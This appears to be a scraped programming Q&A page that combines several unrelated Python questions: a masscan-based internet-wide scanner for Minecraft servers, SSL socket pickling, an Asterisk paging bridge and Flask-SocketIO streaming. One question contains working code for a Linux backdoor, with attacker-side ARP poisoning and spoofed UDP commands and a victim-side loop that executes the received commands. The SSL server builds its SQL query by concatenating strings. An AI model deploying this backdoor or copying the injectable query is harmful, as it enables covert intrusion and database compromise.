Im currently building a internet scanner which scans ip ranges for the port 25565. When it find a ip with this port open it should ping it to get more info about the port. For that i want to use dramatiq to do it asynchrous, but dramatiq just doesnt work as I expect it. The dramatiq function should only be called if there is a result, but instead the dramatiq worker runs the script(partly).
import json
import masscan
import socket
import dramatiq
import redis
import random
import pymongo
from colorama import Fore,init
from mcstatus import JavaServer
from dramatiq.brokers.redis import RedisBroker
#-------------------------
init()
red = Fore.RED
white = Fore.WHITE
r = redis.Redis()
#-------------------------
client = pymongo.MongoClient("192.168.188.32:27017")
if client.server_info():
print("Connected to MongoDB successfully!")
else:
print("Could not connect to MongoDB.")
db = client["treffer"]
collection = db["ips"]
#-------------------------
#if __name__ == "__main__":
broker = RedisBroker(host="192.168.188.32", port=6379)
dramatiq.set_broker(broker)
print("startet")
#-------------------------
#dramatiq.actor
def mc_and_check_task(ip):
host = JavaServer.lookup(ip)
try:
status = host.status().raw
mc_status = {"ip": str(ip), "status": status}
mc_status_json = json.dumps(mc_status)
x = collection.insert_one(json.loads(mc_status_json))
print(x)
except socket.timeout:
print("Fehler socket.timeout")
except BrokenPipeError:
print("Fehler BrokenPipeError")
except Exception as e:
print(f"An error occurred: + {e}")
#-------------------------
A = list(range(1,255))
B = list(range(1,255))
random.shuffle(A)
random.shuffle(B)
#-------------------------
ip_ranges = []
for a in A:
for b in B:
ip_range = f"{a}.{b}.0.0/16"
ip_ranges.append(ip_range)
#-------------------------
for ip_range in ip_ranges:
print(ip_range)
try:
mas = masscan.PortScanner()
mas.scan(ip_range, ports="25565", arguments="--max-rate 100000")
x = json.loads(mas.scan_result)
len_result = len(x["scan"])
print(len_result)
if len_result > 0:
print(f"Results: {red}{len_result}{white} ")
for ip in x["scan"]:
adresse = ip + ":" + "25565"
mc_and_check_task.send(adresse)
else:
print(f"Results: {white}{len_result}")
except masscan.NetworkConnectionError:
print(f"{ip_range}masscan connection error")
print("done scanning")
When there is a result the worker should get the task to check for more info. But instead it returns this: 132.41.0.0/16 0 Results: 0 done scanning 132.169.0.0/16 0 Results: 0 done scanning 132.222.0.0/16 0 Results: 0 done scanning 213.172.0.0/16 0 Results: 0
Related
Im currently writing a programm which scans the internet for port:25565. When it finds a open port a function as dramatiq acotr is called which check the adress(ip + port) for deatails. But dramatiq uses more than the function.
import json
import masscan
import socket
import dramatiq
import redis
import random
import pymongo
from colorama import Fore,init
init()
red = Fore.RED
white = Fore.WHITE
r = redis.Redis()
queue = "mc_check_queue"
client = pymongo.MongoClient("192.168.188.32:27017")
if client.server_info():
print("Connected to MongoDB successfully!")
else:
print("Could not connect to MongoDB.")
db = client["treffer"]
collection = db["ips"]
#dramatiq.actor
def mc_and_check_task(ip):
ip = JavaServer.lookup(ip)
try:
status = ip.status()
print(status)
mc_status = {"ip": ip, "status": status}
collection.insert_one(mc_status)
except socket.timeout:
return "Fehler socket.timeout"
except BrokenPipeError:
return "Fehler BrokenPipeError"
except Exception as e:
return f"An error occurred: + {e}"
A = list(range(1,255))
B = list(range(1,255))
random.shuffle(A)
random.shuffle(B)
ip_ranges = []
for a in A:
for b in B:
ip_range = f"{a}.{b}.0.0/16"
ip_ranges.append(ip_range)
for ip_range in ip_ranges:
print(ip_range)
try:
mas = masscan.PortScanner()
mas.scan(ip_range, ports="25565", arguments="--max-rate 1000000")
x = json.loads(mas.scan_result)
len_result = len(x["scan"])
if len_result > 0:
print(f"Results: {red}{len_result}")
else:
print(f"Results: {white}{len_result}")
for ip in x["scan"]:
adresse = ip + ":" + "25565"
mc_and_check_task.send(adresse)
for document in db.collection.find():
print(document)
except masscan.NetworkConnectionError:
print(f"{ip_range}masscan connection error")
print("done scanning")
The dramatiq terminal output looks like this:
165.227.0.0/16
Results:
0
done scanning
81.222.0.0/16
Results:
0
done scanning
243.155.0.0/16
Results:
0
done scanning
The output of the main terminal looks identical except that in the main window it takes like 10 sec for a new ip range to get printed due to scanning. The dramatiq windows on the other hand just prints out random ip ranges. Why does the decorator include more than just the function. What I want is that the status of the adress is printed in the dramatiq window and the ip range + results + done scanning in the main window.
Thanks.
I am having a Pickle issue with SSL client to server communication using multiprocessing.
I have an SSL client that connects to the server:
SSLClient.py
import socket
import struct
import ssl
import copyreg
from os import path
import socket
import os
from pathlib import Path
from loguru import logger as log
from utils.misc import read_py_config
from datetime import datetime
from cryptography.fernet import Fernet
fernetkey = '1234567'
fernet = Fernet(fernetkey)
class SSLclient:
license = None
licenseencrypted = None
uuid = None
def __init__(self):
try:
path = Path(__file__).parent / "/lcl" #get unique license key
with path.open() as file:
self.licenseencrypted = file.read().rstrip()
self.license = fernet.decrypt(str.encode(self.licenseencrypted)).decode('ascii')
self.host, self.port = "127.0.0.1", 65416
except Exception as e:
log.error("Could not decode license key")
def connect(self):
self.client_crt = os.path.join(os.path.dirname(__file__), 'key/c-.crt')
self.client_key = os.path.join(os.path.dirname(__file__), 'key/ck-.key')
self.server_crt = os.path.join(os.path.dirname(__file__), 'key/s-.crt')
self.sni_hostname = "example.com"
self._context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH, cafile=self.server_crt)
self._context.load_cert_chain(certfile=self.client_crt, keyfile=self.client_key)
self._sock = None
self._ssock = None
## ---- Client Communication Setup ----
HOST = self.host # The server's hostname or IP address
PORT = self.port # The port used by the server
try:
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._ssock = self._context.wrap_socket(self._sock, server_side=False, server_hostname=self.sni_hostname)
self._ssock.connect((HOST, PORT))
log.info("Socket successfully created")
except socket.error as err:
log.error("socket creation failed with error %s" %(err))
return False
log.info('Waiting for connection')
return True
def closesockconnection(self):
self._ssock.close()
def checkvalidsite(self):
#check if site is active
jsonobj = {
"uuid": self.license,
"ipaddress" : self.external_ip,
"req": "checkvalidsite"
}
send_msg(self._ssock, json.dumps(jsonobj).encode('utf-8'))
active = False
while True:
Response = recv_msg(self._ssock)
if not Response:
return False
if Response is not None:
Response = Response.decode('utf-8')
Response = json.loads(Response)
req = Response['req']
if req == "checkvalidsite":
active = Response['active']
self.info1 = Response['info1']
self.info2 = Response['info2']
return active
# ---- To Avoid Message Boundary Problem on top of TCP protocol ----
def send_msg(sock: socket, msg): # ---- Use this to send
try:
# Prefix each message with a 4-byte length (network byte order)
msg = struct.pack('>I', len(msg)) + msg
sock.sendall(msg)
except Exception as e:
log.error("Sending message " + str(e))
def recv_msg(sock: socket): # ---- Use this to receive
try:
# Read message length and unpack it into an integer
raw_msglen = recvall(sock, 4)
if not raw_msglen:
return None
msglen = struct.unpack('>I', raw_msglen)[0]
# Read the message data
return recvall(sock, msglen)
except Exception as e:
log.error("Receiving message " + str(e))
return False
def recvall(sock: socket, n: int):
try:
# Helper function to receive n bytes or return None if EOF is hit
data = bytearray()
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data.extend(packet)
return data
except Exception as e:
log.error("Receiving all message " + str(e))
raise Exception(e)
I then have a server that is Multithreaded and accepts the connection and communicates with the client.
Server.py
import socket
import os
from socket import AF_INET, SOCK_STREAM, SO_REUSEADDR, SOL_SOCKET, SHUT_RDWR
import ssl
from os import path
from _thread import *
import struct # Here to convert Python data types into byte streams (in string) and back
import traceback
from threading import Thread
import json
import mysql.connector as mysql
import time
from loguru import logger as log
import threading
from cryptography.fernet import Fernet
fernetkey = '12213423423'
fernet = Fernet(fernetkey)
threadLocal = threading.local()
# ---- To Avoid Message Boundary Problem on top of TCP protocol ----
def send_msg(sock: socket, msg): # ---- Use this to send
try:
# Prefix each message with a 4-byte length (network byte order)
msg = struct.pack('>I', len(msg)) + msg
sock.sendall(msg)
except Exception as e:
log.error("Error send_msg " + str(e))
def recv_msg(sock: socket): # ---- Use this to receive
try:
# Read message length and unpack it into an integer
raw_msglen = recvall(sock, 4)
if not raw_msglen:
return None
msglen = struct.unpack('>I', raw_msglen)[0]
# Read the message data
return recvall(sock, msglen)
except Exception as e:
log.error("Receiving message " + str(e))
return False
def recvall(sock: socket, n: int):
try:
# Helper function to receive n bytes or return None if EOF is hit
data = bytearray()
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data.extend(packet)
return data
except Exception as e:
log.error("Receiving all message " + str(e))
raise Exception(e)
# ---- Server Communication Setup
class Newclient:
def __init__(self):
self.addr = None
self.conn = None
self.uuid = None
class Server:
def __init__(self):
self.HOST = '127.0.0.1' # Standard loopback interface address (localhost)
self.PORT = 65416 # Port to listen on (non-privileged ports are > 1023)
self.ThreadCount = 0
self.threads = []
self.sock = None
def checkvalidsite(self, uuid, ipaddress, cursor, db_connection):
sql = "select * from myexample where uuid ='" + uuid + "'"
cursor.execute(sql)
results = cursor.fetchall()
active = False
for row in results:
active = row["active"]
siteid = row["info1"]
clientid = row["info2"]
return active, siteid, clientid
def Serverthreaded_client(self, newclient):
conn = newclient.conn
try:
while True:
# data = conn.recv(2048) # receive message from client
data = recv_msg(conn)
uuid = None
ipaddress = None
req = None
if not data :
return False
if data is not None:
data = json.loads(data.decode('utf-8'))
uuid = data['uuid']
req = data['req']
if uuid is not None and req is not None:
newclient.uuid = uuid
cursor, db_connection = setupDBConnection()
if req == "checkvalidsite":
ipaddress = data['ipaddress']
active, info1, info2 = self.checkvalidsite(uuid, ipaddress, cursor, db_connection)
data = {
"req": "checkvalidsite",
"uuid": uuid,
"active": active,
"info1" : info1,
"info2" : info2
}
if not data:
break
# conn.sendall(str.encode(reply))
send_msg(conn, json.dumps(data).encode('utf-8'))
log.info("Server response sent")
#conn.close()
closeDBConnection(cursor, db_connection)
else:
#send no message
a=1
except Exception as e:
log.warning(str(e))
log.warning(traceback.format_exc())
finally:
log.info("UUID Closing connection")
conn.shutdown(socket.SHUT_RDWR)
conn.close()
#conn.close()
def Serverconnect(self):
try: # create socket
self.server_cert = path.join(path.dirname(__file__), "keys/server.crt")
self.server_key = path.join(path.dirname(__file__), "keys/server.key")
self.client_cert = path.join(path.dirname(__file__), "keys/client.crt")
self._context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
self._context.verify_mode = ssl.CERT_REQUIRED
###self._context.load_cert_chain(self.server_cert, self.server_key)
self._context.load_cert_chain(certfile=self.server_cert, keyfile=self.server_key)
###self._context.load_verify_locations(self.client_cert)
self._context.load_verify_locations(cafile=self.client_cert)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) ###<-- socket.socket() ???
log.info("Socket successfully created")
except socket.error as err:
log.warning("socket creation failed with error %s" %(err))
try: # bind socket to an address
self.sock.bind((self.HOST, self.PORT))
except socket.error as e:
log.warning(str(e))
log.info('Waiting for a Connection..')
self.sock.listen(3)
def Serverwaitforconnection(self):
while True:
Client, addr = self.sock.accept()
conn = self._context.wrap_socket(Client, server_side=True)
log.info('Connected to: ' + addr[0] + ':' + str(addr[1]))
log.info("SSL established. Peer: {}".format(conn.getpeercert()))
newclient = Newclient()
newclient.addr = addr
newclient.conn = conn
thread = Thread(target=self.Serverthreaded_client, args =(newclient, ))
thread.start()
self.threads.append(newclient)
self.ThreadCount += 1
log.info('Thread Number: ' + str(self.ThreadCount))
def startserver():
server = Server()
server.Serverconnect()
server.Serverwaitforconnection()
serverthread = Thread(target=startserver)
serverthread.daemon = False
serverthread.start()
The server accepts the connection with SSL then waits for a message. It investigates the message command, executes the respective function and returns the data from the database as a response (checkvalidsite in this example).
All good so far (as far as I can tell).
I also have the main program that calls the SSLClient and connects.
Main program
remoteclient = SSLclient()
successfulconnection = remoteclient.connect()
siteactive = remoteclient.checkvalidsite()
So far all is well. However I also have the main program reading in frames from multiple cameras. Can be 20 cameras for example. In order to do this I created multiprocessing to deal with the camera load. Each camera or two cameras per, are assigned to a processor (depending on the number of cores in the machine).
(code below has been stripped out to simplify reading)
x = range(3, 6)
for n in x:
processes = multiprocessing.Process(target=activateMainProgram, args=(queue1, queue2, queue3, queue4, remoteclient, ))
processes.start()
When I try pass the remoteclient (SSLClient) as an argument I get the error:
cannot pickle 'SSLContext' object
I then (after reading online) added the code to the SSLClient:
def save_sslcontext(obj):
return obj.__class__, (obj.protocol,)
copyreg.pickle(ssl.SSLContext, save_sslcontext)
but then I get the error:
cannot pickle 'SSLContext' object
There are 2 options I experimented with:
Trying to get the pickle working (which would be ideal) as the processes themselves each need to communicate with the server. So the processes need to call functions from the SSLClient file. But I cannot get over the pickle issue and can't find a solution online
I then placed the remoteclient = SSLClient code outside the main function. Hoping it would run first and then be accessible to the processes. This worked, however what I learnt was that when a process is called (as it does not share memory) it reprocesses the entire file. Meaning if I have 10 processes each with 2 cameras then I would have 10 connections to the server (1 per process). This means on the server side I would also have 10 threads running each connection. Though it works, it seems significantly inefficient.
Being a noob and self taught in Python I am not sure how to resolve the issue and after 3 days, I figured I would reach out for assistance. If I could get assistance with the pickle issue of the SSLClient then I will have one connection that is shared with all processes and 1 thread in the server to deal with them.
P.s. I have cobbled all of the code together myself and being new to Python if you see that I am totally going down the wrong, incorrect, non-professional track, feel free to yell.
Much appreciated.
Update:
If I change the SSLClient code to:
def save_sslcontext(obj):
return obj.__class__, (obj.protocol,)
copyreg.pickle(ssl.SSLContext, save_sslcontext)
Then I get the error:
[WinError 10038] An operation was attempted on something that is not a socket
Not sure what is better..
I am working on an Asterisk AGI and Python 3 integration. I am having trouble with my script and I am thinking it may be because it is running too many at once and the closing of the socket at the end my be causing the issue.
I have a system sending a SIP call to asterisk.
Asterisk then executes the script.
Script opens a TCP socket and sends data closing the socket ending the script.
If I have one call come in at a time or they are staggered the script executes flawlessly. If I have multiple calls come in at once say 5 (which is common in this instance) the socket receiving the data may only process 2 of the fully completed scripts.
I have tried to minimize the script to see if i could get it to execute faster, stripping out things unneeded, removed logging, removed #out lines. The only thing I could do was try and stagger the calls which is not a viable option.
#!/usr/bin/env python3
import serial
import re
from time import sleep
import logging
import logging.handlers
from configparser import ConfigParser
import sys
import asterisk
import asterisk.agi
from asterisk.agi import *
import socket
import os
import sys
config = ConfigParser()
config.read('/var/www/html/config.ini')
LOG_LEVEL = logging.info('LOGGING', 'level')
# Initialize logging
LOGGER = logging.getLogger('axi')
LOGGER.setLevel(logging.INFO)
formatter = logging.Formatter('|%(asctime)s|%(levelname)-8s|%(name)s|%(message)s')
log_file = logging.handlers.TimedRotatingFileHandler('/var/log/axi/input.csv', when='midnight', backupCount=7)
log_file.setLevel(logging.INFO)
log_file.setFormatter(formatter)
LOGGER.addHandler(log_file)
# Only print to console if at DEBUG level
if LOG_LEVEL == 'DEBUG':
log_console = logging.StreamHandler()
log_console.setLevel(logging.INFO)
log_console.formatter(formatter)
LOGGER.addHandler(log_console)
#BAUD = config.get('USB_Settings', 'baudrate')
#PTY = config.get('USB_Settings', 'parity')
#STPB = int(config.get('USB_Settings', 'stopbits'))
#BTSZ = int(config.get('USB_Settings', 'bytesize'))
HOST = config.get('Ethernet_Paging_System', 'IP')
PORT = config.get('Ethernet_Paging_System', 'Port')
agi = AGI()
pin = agi.env['agi_extension']
msg = agi.env['agi_calleridname']
geekspeak = {
"<ESC>": '\\x1b',
"<ETX>": '\\x03',
"<CR>": '\\r',
"<ACK>": '\\x06',
"<NAK>": '\\x15',
"<EOT>": '\\x04',
"<STX>": '\\x02'
}
htmlspeak = {
"<ESC>": '\\x1b',
"<ETX>": '\\x03',
"<CR>": '\\r',
"<ACK>": '\\x06',
"<NAK>": '\\x15',
"<EOT>": '\\x04',
"<STX>": '\\x02'
}
def str2geek(string):
geekstr = str(string)
for key, value in geekspeak.items():
if key in geekstr:
geekstr = geekstr.replace(key, value)
return geekstr
def geek2str(string):
sstr = str(string)
for key, value in geekspeak.items():
if value in sstr:
sstr = sstr.replace(value, key)
return sstr
def html2str(string):
hstr = str(string)
for key, value in htmlspeak.items():
if value in hstr:
hstr = hstr.replace(value, key)
return hstr
#Socket setup
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_INET, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except OSError as msg:
s = None
continue
try:
s.connect(sa)
except OSError as msg:
s.close()
s = None
continue
break
if s is None:
LOGGER.info('---Could not open socket')
sys.exit(1)
with s:
s.send(b'\\r')
sleep(0.5)
s.send(b'\\x1bPG1\\r')
strng=(pin)+(msg)
#New Code for Checksum
list_ascii=[ord(i) for i in strng]
#Prints each car decimal value
#print(list_ascii)
b=sum(list_ascii)+31
#Convert sum to 12 bit binary and parse to 4 sections frist 4 middle 4 last 4
h1=(bin(b)[2:].zfill(12)[8:])
h2=(bin(b)[2:].zfill(12)[4:8])
h3=(bin(b)[2:].zfill(12)[0:4])
#Adds 48 decimal value per TAP 1.8
i1=(int(h1, 2)+48)
i2=(int(h2, 2)+48)
i3=(int(h3, 2)+48)
#Gives checksum value
chks=chr(i3)+chr(i2)+chr(i1)
LOGGER.info('---Pin:' + pin + ' - ' + 'Message:' + msg + ' - checksum:' + chks)
s.send('\x02'.encode() + (pin).encode() + '\r'.encode() + msg.encode() + '\r\x03'.encode() + (chks).encode() + '\r'.encode())
resp=str(s.recv(1024))
if resp:
LOGGER.info(html2str(resp))
if '15' in resp:
LOGGER.info('page not accepted')
if resp:
sleep(0.5)
s.send(b'\x04\r')
sleep(0.5)
LOGGER.info('---Page Accepted' + ' - checksum:' + chks)
s.close()
I was hoping to be able to create one script that keeps the TCP socket alive and another will execute on a call to asterisk and send that data either over the socket or to the already running python script and start the process of sending data with variables.
Thank you
Here is how I did it. I got the first script to run on a call to asterisk and the second opens the connection and keeps it open until one side closes.
The asterisk script only runs when a call comes into asterisk and converts an inbound SIP message into a TAP 1.8 message used heavily in the nurse call industry.
The socket script I run as a service opening the connection to send data.
Asterisk Script
#!/usr/bin/env python3
import serial
import re
from time import sleep
import sys
import asterisk
import asterisk.agi
from asterisk.agi import *
import socket
import os
geekspeak = {
"<ESC>": '\\x1b',
"<ETX>": '\\x03',
"<CR>": '\\r',
"<ACK>": '\\x06',
"<NAK>": '\\x15',
"<EOT>": '\\x04',
"<STX>": '\\x02'
}
htmlspeak = {
"<ESC>": '\\x1b',
"<ETX>": '\\x03',
"<CR>": '\\r',
"<ACK>": '\\x06',
"<NAK>": '\\x15',
"<EOT>": '\\x04',
"<STX>": '\\x02'
}
def str2geek(string):
geekstr = str(string)
for key, value in geekspeak.items():
if key in geekstr:
geekstr = geekstr.replace(key, value)
return geekstr
def geek2str(string):
sstr = str(string)
for key, value in geekspeak.items():
if value in sstr:
sstr = sstr.replace(value, key)
return sstr
def html2str(string):
hstr = str(string)
for key, value in htmlspeak.items():
if value in hstr:
hstr = hstr.replace(value, key)
return hstr
agi = AGI()
pin = '201' #agi.env['agi_extension']
msg = 'TEST' #agi.env['agi_calleridname']
strng=(pin)+(msg)
#New Code for Checksum
list_ascii=[ord(i) for i in strng]
#Prints each car decimal value
#print(list_ascii)
b=sum(list_ascii)+31
#Convert sum to 12 bit binary and parse to 4 sections frist 4 middle 4 last 4
h1=(bin(b)[2:].zfill(12)[8:])
h2=(bin(b)[2:].zfill(12)[4:8])
h3=(bin(b)[2:].zfill(12)[0:4])
#Adds 48 decimal value per TAP 1.8
i1=(int(h1, 2)+48)
i2=(int(h2, 2)+48)
i3=(int(h3, 2)+48)
#Gives checksum value
chks=chr(i3)+chr(i2)+chr(i1)
#Socket setup
s = None
for res in socket.getaddrinfo("localhost", 9988, socket.AF_INET, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except OSError as msg:
s = None
continue
try:
s.connect(sa)
except OSError as msg:
s.close()
s = None
continue
break
if s is None:
sys.exit(1)
with s:
s.send('\x02'.encode() + (pin).encode() + '\r'.encode() + msg.encode() + '\r\x03'.encode() + (chks).encode() + '\r'.encode())
s.close()
Socket Script
#!/usr/bin/env python3
import serial
import re
from time import sleep
import logging
import logging.handlers
from configparser import ConfigParser
import socket
import os
import sys
config = ConfigParser()
config.read('/var/www/html/config.ini')
LOG_LEVEL = logging.info('LOGGING', 'level')
# Initialize logging
LOGGER = logging.getLogger('axi')
LOGGER.setLevel(logging.INFO)
formatter = logging.Formatter('|%(asctime)s|%(levelname)-8s|%(name)s|%(message)s')
log_file = logging.handlers.TimedRotatingFileHandler('/var/log/axi/input.csv', when='midnight', backupCount=7)
log_file.setLevel(logging.INFO)
log_file.setFormatter(formatter)
LOGGER.addHandler(log_file)
# Only print to console if at DEBUG level
if LOG_LEVEL == 'DEBUG':
log_console = logging.StreamHandler()
log_console.setLevel(logging.INFO)
log_console.formatter(formatter)
LOGGER.addHandler(log_console)
HOST = config.get('Ethernet_Paging_System', 'IP')
PORT = config.get('Ethernet_Paging_System', 'Port')
#Socket setup
s2 = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_INET, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s2 = socket.socket(af, socktype, proto)
except OSError as msg:
s2 = None
continue
try:
s2.connect(sa)
except OSError as msg:
s2.close()
s2 = None
continue
break
if s2 is None:
LOGGER.info('---Could not open socket')
sys.exit(1)
#listening Socket
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.bind(("localhost", 9988))
s3.listen(1)
while True:
conn, addr = s3.accept()
data = conn.recv(1024)
if data:
#with s2:
s2.send(b'\\r')
sleep(0.5)
s2.send(b'\\x1bPG1\\r')
LOGGER.info(data)
s2.send(data)
resp=str(s2.recv(1024))
if resp:
# LOGGER.info(html2str(resp))
if '15' in resp:
LOGGER.info('page not accepted')
if resp:
s2.send(b'\x04\r')
LOGGER.info('---Page Accepted')
i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue
Below is the python script written on socket.io. I have data continuously emitted from server to the web browser. However, the client can have emit 'closeSSH' in between and the event 'nodeID' should be stopped. Can someone help me to make socket.io listen to multiple events at the same time?
#!/usr/bin/env python
import sys
# Import 'Flask' libraries for web socket programming with the client/web-browser
from flask import Flask, render_template, request
from flask.ext.socketio import SocketIO, emit
import flask
import pxssh
from socket import *
import socket
from flask.ext.cors import CORS, cross_origin
import time
# INITIALIZATIONS
noOfNodes = 48
# Initialize all the TCP sockets
tcpClientSockets = dict()
for i in range(48):
tcpClientSockets[i] = socket.socket()
tcpPort = 5000
bufferSizeRecPacket = 102400
nodeIPAddress = '192.168.1.'
startNode = 11
endNode = 58
# Class which provides the web socket communication with the Client/Web-browser
class CORNET_3D_WebSocketConnection:
# Configure the Flask server
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
# Change the configuration such that requests from external IP addresses are accepted
cors = CORS(app, resources={r"/foo": {"origins": "*"}})
app.config['CORS_HEADERS'] = 'Content-Type'
app.debug = True
socketio = SocketIO(app)
def __init__(self):
# Server to run on port 8888
self.socketio.run(self.app, host = '0.0.0.0', port=8888)
#app.route('/', methods=['GET','POST','OPTIONS'])
#cross_origin(origin='*',headers=['Content-Type','Authorization'])
def index():
# TODO: Get the node status for all the nodes
return ''
#socketio.on('nodeID')
def startSpectrum(initParams):
# TODO: Add the client to the list of clients
# TODO: SSH to the node specified
current_client_id = request.environ['REMOTE_ADDR']
print current_client_id
# Extract the transParams
transParams = initParams['transParams']
nodeID = initParams['nodeID']
# Get the IPv4 address for the node
nodeIPv4Address = nodeIPAddress + str(nodeID)
# Validate the IPv4 Address
try:
validate = CORNET_3D_ValidateParameters()
if validate.isIPv4AddressValid(nodeIPv4Address):
# If parameters are valid in the IPv4 address
if validate.isParamsValid(transParams):
try:
# TODO: Add the client IP address to the list of connected clients
time.sleep(1)
tcpClientSockets[nodeID - startNode].close()
spectrumParams = "PARAMS--f:" + str(transParams['f']) + " b:" + str(transParams['b']) + " n:" + str(transParams['n']) + " r:" + str(transParams['r'])
print spectrumParams
try:
print 'Connecting'
print nodeIPv4Address
tcpClientSockets[nodeID - startNode] = socket.socket()
print 'Create Tcp client sockets'
tcpClientSockets[nodeID - startNode].connect((nodeIPv4Address, tcpPort))
print 'Connected'
tcpClientSockets[nodeID - startNode].send(spectrumParams)
print 'Sent spectrum data'
while True:
spectrumData = tcpClientSockets[nodeID - startNode].recv(bufferSizeRecPacket)
tcpClientSockets[nodeID - startNode].send('spectrum..........................................')
emit('time', spectrumData)
except Exception as e:
print "Exception caused in TCP connection -- Start spectrum. Error: ", e
except Exception as e:
print "Exception caused in Validate -- Start spectrum. Error: ", e
else:
emit('error', 'Invalid parameters for the node')
else:
emit('error','Invalid IP address for the node')
except Exception as e:
print "Exception caused in Start Spectrum. Error: ", e
#socketio.on('getMetrics')
def getMetrics(message):
# TODO: Get metrics to be implemented
print 'Get metrics'
#socketio.on('closeSSH')
def closeSSH(nodeID):
# TODO: Remove the client from the list of connected clients
try:
print 'CLOSE SSH'
#tcpClientSockets[int(nodeID) - startNode].send('exit..............................................')
print 'Exit sent'
tcpClientSockets[int(nodeID) - startNode].shutdown(socket.SHUT_RDWR)
except Exception as e:
print "Exception caused in Closing the connection with the client. Error: ", e
#socketio.on('disconnect')
def disconnect(nodeID):
# TODO: Remove the client from the list of connected clients
try:
print 'DISCONNECT'
tcpClientSockets[int(nodeID) - startNode].send('exit..............................................')
tcpClientSockets[nodeID - startNode].close()
except Exception as e:
print "Exception caused in Closing the connection with the client. Error: ", e
#socketio.on('users_req')
def getClientsConnected():
# TODO: Get the clients that are connected to the web socket through web browsers
print 'Users Req'
# Class which validates parameters and IPv4 address
class CORNET_3D_ValidateParameters:
def isIPv4AddressValid(self, ipAddress):
try:
socket.inet_pton(socket.AF_INET, ipAddress)
except AttributeError:
try:
socket.inet_aton(ipAddress)
except socket.error:
return False
return ipAddress.count == 3
except socket.error:
return False
return True
def isParamsValid(self, parameters):
try:
f = int(parameters['f'])
b = int(parameters['b'])
n = int(parameters['n'])
r = int(parameters['r'])
return True
except ValueError:
return False
if __name__ == '__main__':
webServer = CORNET_3D_WebSocketConnection()